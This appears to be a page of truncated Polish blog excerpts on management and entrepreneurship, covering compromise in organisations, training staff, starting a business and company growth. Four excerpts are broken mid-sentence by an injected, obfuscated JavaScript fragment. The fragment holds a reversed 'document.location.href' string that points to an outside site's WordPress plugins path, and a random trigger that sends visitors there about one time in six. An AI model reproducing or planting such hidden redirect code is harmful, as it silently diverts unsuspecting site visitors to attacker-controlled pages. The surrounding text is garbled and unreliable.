Co wtedy zrobić? Przestać toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = [...]
Ulubionym sposobem rozwiązywania problemów w organizacji jest kompromis. „Ty się trochę posuniesz, jak się trochę posunę i znajdziemy kompromis”. Firmie chodzi o rozwiązanie problemu, a nie o [...]
Dlaczego firmy nie stają się coraz bardziej ren toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var [...]
Trzeba być lepszym. I toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = [...]
Jak szkolić pracownika? A przede wszystkim w czym? Na toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if [...]
Plan i tak zaraz się zdezaktualizuje, albo go ukradną. A przedsiębiorczość zostanie. Wielu potencjalnych przedsiębiorców zastanawia się jak zacząć biznes. I czeka, aż znajdzie jakiś unikalny [...]
W początkowej fazie wzrostu firma (i jej pracownicy) jest agresywna, innowacyjna i odważna. Taka postawa zwykle działa, firma rośnie i odnosi sukcesy. Z czasem [...]